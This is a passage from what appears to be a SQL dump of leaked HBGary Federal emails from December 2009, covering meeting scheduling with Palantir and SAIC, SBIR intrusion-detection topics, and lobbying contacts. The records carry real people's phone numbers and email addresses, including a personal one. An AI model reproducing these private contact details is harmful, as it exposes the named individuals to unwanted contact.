Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado\r\n Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; \r\n\r\n',4354,'aaron_hbgary_com/4354.html'),(446,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999825.M862585P3547Q446.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Hi Amanda,I wanted to follow up and try and settle on a date before the holidays if possible. &nbsp;I will be in town all of this week, but I understand your schedule sounds a bit tight. &nbsp;Next week I will be in Sacramento most of the week but will be back in DC Thursday and Friday if you have any availability.Thanks,AaronOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14540,'aaron_hbgary_com/14540.html'),(447,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999826.M267709P3547Q448.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Accepted: Invitation: Capabilities Discussion @ Mon Dec 7 12pm - 1:30pm 	(Matthew Steckman)','Matt,\r\n\r\nHave time to join us for lunch tomorrow at Konami just down the street?  We are going to meet there around 11-1130.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 1, 2009, at 9:49 PM, Matthew Steckman wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7320,'aaron_hbgary_com/7320.html'),(448,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999826.M447849P3547Q449.eml','\"Penny Leavy\" <penny@hbgary.com>','Meetings this afternoon','Penny,\r\n\r\nI am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9379,'aaron_hbgary_com/9379.html'),(449,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999826.M47959P3547Q447.eml','\"Penny Leavy\" <penny@hbgary.com>','Sacramento Trip','Hi Penny,\r\n\r\nLooking to schedule my travel.  Do you have any meetings scheduled yet.  Right now I was planning on flying in Sun evening, being there Mon-Wed., leaving Wed morning.  Does that work?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4459,'aaron_hbgary_com/4459.html'),(450,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999826.M700807P3547Q450.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meetings this afternoon','Let me see if I can move palantir\r\n\r\n From my iPhone\r\n\r\nOn Dec 7, 2009, at 6:45 AM, Aaron Barr  wrote:\r\n\r\n> Penny,\r\n>\r\n> I am not sure how this got cross ways but looking at the meetings\r\n> this afternoon, Palantir is supposed to be at 1pm after lunch.  Is\r\n> it possible switch the lobbyist meeting to 3pm?  The Palantir\r\n> meeting should last between 1.5 and 2 hours.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',1019,'aaron_hbgary_com/1019.html'),(451,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999826.M879357P3547Q451.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meetings this afternoon','Let me see if I canovw palantir to 3pm.\r\n\r\n From my iPhone\r\n\r\nOn Dec 7, 2009, at 6:45 AM, Aaron Barr  wrote:\r\n\r\n> Penny,\r\n>\r\n> I am not sure how this got cross ways but looking at the meetings\r\n> this afternoon, Palantir is supposed to be at 1pm after lunch.  Is\r\n> it possible switch the lobbyist meeting to 3pm?  The Palantir\r\n> meeting should last between 1.5 and 2 hours.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',9393,'aaron_hbgary_com/9393.html'),(452,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999827.M113652P3547Q452.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Today\'s meeting 1pm','Matt,\r\n\r\nAny chance we can bump out 1pm to 230 or 3pm?\r\n\r\nXetron guys are delayed because of ice.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12284,'aaron_hbgary_com/12284.html'),(453,'2009-12-07','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999827.M434657P3547Q453.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meetings this afternoon','The lobbyist meeting is a 10\r\n\r\nOn Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr  wrote:\r\n> Penny,\r\n>\r\n> I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',1336,'aaron_hbgary_com/1336.html'),(454,'2009-12-07','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999827.M621947P3547Q454.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Sacramento Trip','I have not gotten confirmation by Kirsten for the monday meeting at GD\r\nbut I know you are still meeting with Ben.  Wed should be Ok\r\n\r\nOn Sun, Dec 6, 2009 at 9:06 PM, Aaron Barr  wrote:\r\n> Hi Penny,\r\n>\r\n> Looking to schedule my travel.  Do you have any meetings scheduled yet.  Right now I was planning on flying in Sun evening, being there Mon-Wed., leaving Wed morning.  Does that work?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',8089,'aaron_hbgary_com/8089.html'),(455,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999827.M865941P3547Q455.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meetings this afternoon','Ah calendar invites don\'t account for timezones I guess?  Meetings show up on my calendar as 1pm and 3pm.\r\n\r\nDo you want me to attend the meeting with Beth or just see you at Konami at 11?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 7, 2009, at 8:50 AM, Penny Leavy wrote:\r\n\r\n> The lobbyist meeting is a 10\r\n> \r\n> On Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr  wrote:\r\n>> Penny,\r\n>> \r\n>> I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13906,'aaron_hbgary_com/13906.html'),(456,'2009-12-07','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999828.M279062P3547Q457.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meetings this afternoon','i need address for konami and we\'ll meet youthere 11:15\r\n\r\nOn Mon, Dec 7, 2009 at 5:57 AM, Aaron Barr  wrote:\r\n> Ah calendar invites don\'t account for timezones I guess?  Meetings show up on my calendar as 1pm and 3pm.\r\n>\r\n> Do you want me to attend the meeting with Beth or just see you at Konami at 11?\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Dec 7, 2009, at 8:50 AM, Penny Leavy wrote:\r\n>\r\n>> The lobbyist meeting is a 10\r\n>>\r\n>> On Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr  wrote:\r\n>>> Penny,\r\n>>>\r\n>>> I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',3211,'aaron_hbgary_com/3211.html'),(457,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999828.M41424P3547Q456.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meetings this afternoon','What does the rest of your afternoon look like?  I just got a call from Xetron and there is ice in Cincinatti that is delaying them by a few hours.  They would like to push to 230pm.  I am checking with Palantir as well.\r\n\r\nAaron\r\n\r\nOn Dec 7, 2009, at 8:50 AM, Penny Leavy wrote:\r\n\r\n> The lobbyist meeting is a 10\r\n> \r\n> On Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr  wrote:\r\n>> Penny,\r\n>> \r\n>> I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14277,'aaron_hbgary_com/14277.html'),(458,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999828.M468278P3547Q458.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: SBIR topics','I only see 4, unless that last one is one...A10-010 Real-time Visualization Tool for Distributed Intrusion Detection System DataA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection SystemsA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing NetworksA10-014 Spoofing Network Architectures in Response to Hostile ReconnaissanceU.S. DEPARTMENT OF COMMERCE&nbsp;National Institute of Standards and Technology&nbsp;http://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf9.05.01.9-R Sound Static Security Analyzer for Software&nbsp;ok of these I think we should go for&nbsp;A10-010 Real-time Visualization Tool for Distributed Intrusion Detection System DataA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networksand possiblyA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systemsthe combination of responder, ddna, and recon lend themselves to eventually have better visualization capabilities of the state and health of your network. &nbsp;This is also a key desirement of government.Self-healing networks, gets to the resource resiliancy desirement.last one, mobile is the future, so we should start looking at what we can do there now and how we can gain information and share information through mobile devices, a little of a stretch from our current capability and focus.On Dec 6, 2009, at 11:54 AM, Ted Vera wrote:When you have a chance, can you look through the 5 opps I posted. &nbsp;I think we could probably settle in on one or two to go after.On Sun, Dec 6, 2009 at 9:38 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSorry for the delay Bob. &nbsp;I went through all of the topics, in all agencies. &nbsp;The only ones I found of interest are with the Army. &nbsp;I sent you a link to a google doc I started that lists the four candidate topics. &nbsp;Aaron and I will do some brainstorming and think about potential approaches, which will help us to down-select from the four to the one or two that we\'d like to pursue.\r\n\r\nThanks for your help Bob.TedOn Sat, Dec 5, 2009 at 1:42 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,&nbsp;Reminder.&nbsp; You were going to send me the SBIR topics that\r\ninterest you.&nbsp; I’d like to review them over the weekend and send you back\r\nquestions I would have about them that we can ask the PMs.&nbsp;Bob &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2590,'aaron_hbgary_com/2590.html'),(459,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999829.M161287P3547Q459.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meetings this afternoon','8221 Leesburg PikeVienna,&nbsp;VA&nbsp;22182(703) 821-3400On Dec 7, 2009, at 9:06 AM, Penny Leavy wrote:i need address for konami and we\'ll meet youthere 11:15On Mon, Dec 7, 2009 at 5:57 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Ah calendar invites don\'t account for timezones I guess? &nbsp;Meetings show up on my calendar as 1pm and 3pm.Do you want me to attend the meeting with Beth or just see you at Konami at 11?AaronOn Dec 7, 2009, at 8:50 AM, Penny Leavy wrote:The lobbyist meeting is a 10On Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Penny,I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch. &nbsp;Is it possible switch the lobbyist meeting to 3pm? &nbsp;The Palantir meeting should last between 1.5 and 2 hours.Aaron BarrCEOHBGary Federal Inc.--Penny C. LeavyHBGary, Inc.Aaron BarrCEOHBGary Federal Inc.-- Penny C. LeavyHBGary, Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14316,'aaron_hbgary_com/14316.html'),(460,'2009-12-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999829.M377166P3547Q460.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SBIR topics','Yeah, that last one is one.On Dec 7, 2009, at 7:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI only see 4, unless that last one is one...\r\nA10-010 Real-time Visualization Tool for Distributed Intrusion Detection System DataA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systems\r\nA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networks\r\nA10-014 Spoofing Network Architectures in Response to Hostile Reconnaissance\r\nU.S. DEPARTMENT OF COMMERCE \r\nNational Institute of Standards and Technology http://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf\r\n9.05.01.9-R Sound Static Security Analyzer for Software \r\nok of these I think we should go for \r\nA10-010 Real-time Visualization Tool for Distributed Intrusion Detection System Data\r\nA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networksand possibly\r\nA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systemsthe combination of responder, ddna, and recon lend themselves to eventually have better visualization capabilities of the state and health of your network.  This is also a key desirement of government.\r\nSelf-healing networks, gets to the resource resiliancy desirement.last one, mobile is the future, so we should start looking at what we can do there now and how we can gain information and share information through mobile devices, a little of a stretch from our current capability and focus.\r\nOn Dec 6, 2009, at 11:54 AM, Ted Vera wrote:When you have a chance, can you look through the 5 opps I posted.  I think we could probably settle in on one or two to go after.\r\nOn Sun, Dec 6, 2009 at 9:38 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSorry for the delay Bob.  I went through all of the topics, in all agencies.  The only ones I found of interest are with the Army.  I sent you a link to a google doc I started that lists the four candidate topics.  Aaron and I will do some brainstorming and think about potential approaches, which will help us to down-select from the four to the one or two that we&#39;d like to pursue.\r\n\r\n\r\nThanks for your help Bob.TedOn Sat, Dec 5, 2009 at 1:42 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed, Reminder.  You were going to send me the SBIR topics that\r\ninterest you.  I’d like to review them over the weekend and send you back\r\nquestions I would have about them that we can ask the PMs. Bob  \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',1941,'aaron_hbgary_com/1941.html'),(461,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999829.M566221P3547Q461.eml','\"Ted Vera\" <ted@hbgary.com>','Re: SBIR topics','K I posted comments after the cut and paste in last email.AaronOn Dec 7, 2009, at 9:11 AM, Ted Vera wrote:Yeah, that last one is one.On Dec 7, 2009, at 7:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI only see 4, unless that last one is one...\r\nA10-010 Real-time Visualization Tool for Distributed Intrusion Detection System DataA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systems\r\nA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networks\r\nA10-014 Spoofing Network Architectures in Response to Hostile Reconnaissance\r\nU.S. DEPARTMENT OF COMMERCE&nbsp;\r\nNational Institute of Standards and Technology&nbsp;http://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf\r\n9.05.01.9-R Sound Static Security Analyzer for Software&nbsp;\r\nok of these I think we should go for&nbsp;\r\nA10-010 Real-time Visualization Tool for Distributed Intrusion Detection System Data\r\nA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networksand possibly\r\nA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systemsthe combination of responder, ddna, and recon lend themselves to eventually have better visualization capabilities of the state and health of your network. &nbsp;This is also a key desirement of government.\r\nSelf-healing networks, gets to the resource resiliancy desirement.last one, mobile is the future, so we should start looking at what we can do there now and how we can gain information and share information through mobile devices, a little of a stretch from our current capability and focus.\r\nOn Dec 6, 2009, at 11:54 AM, Ted Vera wrote:When you have a chance, can you look through the 5 opps I posted. &nbsp;I think we could probably settle in on one or two to go after.\r\nOn Sun, Dec 6, 2009 at 9:38 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSorry for the delay Bob. &nbsp;I went through all of the topics, in all agencies. &nbsp;The only ones I found of interest are with the Army. &nbsp;I sent you a link to a google doc I started that lists the four candidate topics. &nbsp;Aaron and I will do some brainstorming and think about potential approaches, which will help us to down-select from the four to the one or two that we\'d like to pursue.\r\n\r\n\r\nThanks for your help Bob.TedOn Sat, Dec 5, 2009 at 1:42 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,&nbsp;Reminder.&nbsp; You were going to send me the SBIR topics that\r\ninterest you.&nbsp; I’d like to review them over the weekend and send you back\r\nquestions I would have about them that we can ask the PMs.&nbsp;Bob &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10245,'aaron_hbgary_com/10245.html'),(462,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999829.M780177P3547Q462.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meetings this afternoon','Speaking of Lobbyists.\r\n\r\nA professional friend, Jacob Olcott, he is the Staff Director for the congressional subcommittee for Emerging Threats, Cyber, and Technology.  I had lunch with him on Friday.  When I get back from Sacramento he wants to set up some meetings with the staff director for the senate select committee for intelligence (SSCI), Samir, and the chair for the center for strategic and international studies (CSIS), Jim Lewis.  He\'s the guy that led the CSIS cybersecurity review for the 44th presidency that was briefed to congress and presented to the president.  Many of the recommendations have been implemented.\r\n\r\nWe talked the entire time about cyber, the legislative folks are in a bind because they feel somewhat helpless to fix the problems.  We can help and Jake recognized that, that I understand the big pictures as well as some of the details that are required to ask the right questions.\r\n\r\nHe also liked our idea on Attribution.  If we get our ducks lined up for an Attribution play we can get some well known folks to attend.  \r\n\r\nAaron\r\n\r\n\r\n\r\nOn Dec 7, 2009, at 9:06 AM, Penny Leavy wrote:\r\n\r\n> i need address for konami and we\'ll meet youthere 11:15\r\n> \r\n> On Mon, Dec 7, 2009 at 5:57 AM, Aaron Barr  wrote:\r\n>> Ah calendar invites don\'t account for timezones I guess?  Meetings show up on my calendar as 1pm and 3pm.\r\n>> \r\n>> Do you want me to attend the meeting with Beth or just see you at Konami at 11?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 7, 2009, at 8:50 AM, Penny Leavy wrote:\r\n>> \r\n>>> The lobbyist meeting is a 10\r\n>>> \r\n>>> On Mon, Dec 7, 2009 at 3:45 AM, Aaron Barr  wrote:\r\n>>>> Penny,\r\n>>>> \r\n>>>> I am not sure how this got cross ways but looking at the meetings this afternoon, Palantir is supposed to be at 1pm after lunch.  Is it possible switch the lobbyist meeting to 3pm?  The Palantir meeting should last between 1.5 and 2 hours.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12534,'aaron_hbgary_com/12534.html'),(463,'2009-12-07','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','/aaron@hbgary.com/new/1296999832.M926783P3547Q463.eml','aaron@hbgary.com','FW: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston, VA?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStephanie Howsare\r\n\r\nAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division\r\n\r\n703-810-\r\n8983 (please note new number effective 2/2/09)\r\n\r\n703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nS,\r\nIf I am free next Thur please send a calendar invite to this man.\r\nThanks.\r\n--------------------------\r\nSent from my BlackBerry Wireless Handheld\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n&lt;aaron@hbgary.com&gt;\r\nTo: Brownfield, Amanda L.\r\nSent: Mon Dec 07 00:04:59 2009\r\nSubject: Re: Possible Opportunity\r\n\r\nHi Amanda,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow up and try and settle on a date before the holidays\r\nif possible. &nbsp;I will be in town all of this week, but I understand your\r\nschedule sounds a bit tight. &nbsp;Next week I will be in Sacramento most of the week but will be back\r\nin DC Thursday and Friday if you have any availability.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen &#8216;capturing&#8217; it for some time.&nbsp; We do in fact intend to\r\nprime and have begun our proposal preparation.&nbsp; I would welcome the\r\nopportunity to speak with you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5860,'aaron_hbgary_com/5860.html'),(464,'2009-12-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999834.M432035P3547Q464.eml','\"Howsare, Stephanie A.\" <STEPHANIE.A.HOWSARE@saic.com>','Re: Possible Opportunity','Yes I am.AaronOn Dec 7, 2009, at 9:31 AM, Howsare, Stephanie A. wrote:\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you available next Thursday, December\r\n17th at 3pm for a meeting with Amanda at her office in Reston, VA?&nbsp;\r\n\r\nStephanie HowsareAdvanced Analytics and\r\nCultural&nbsp;Research&nbsp;Division703-810-\r\n8983 (please note new number effective 2/2/09)703-867-8415 (BB)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Brownfield,\r\nAmanda L. \r\nSent: Monday, December 07, 2009\r\n7:07 AM\r\nTo: Howsare, Stephanie A.\r\nSubject: Fw: Possible Opportunity\r\nImportance: High\r\n\r\n&nbsp;S,\r\nIf I am free next Thur please send 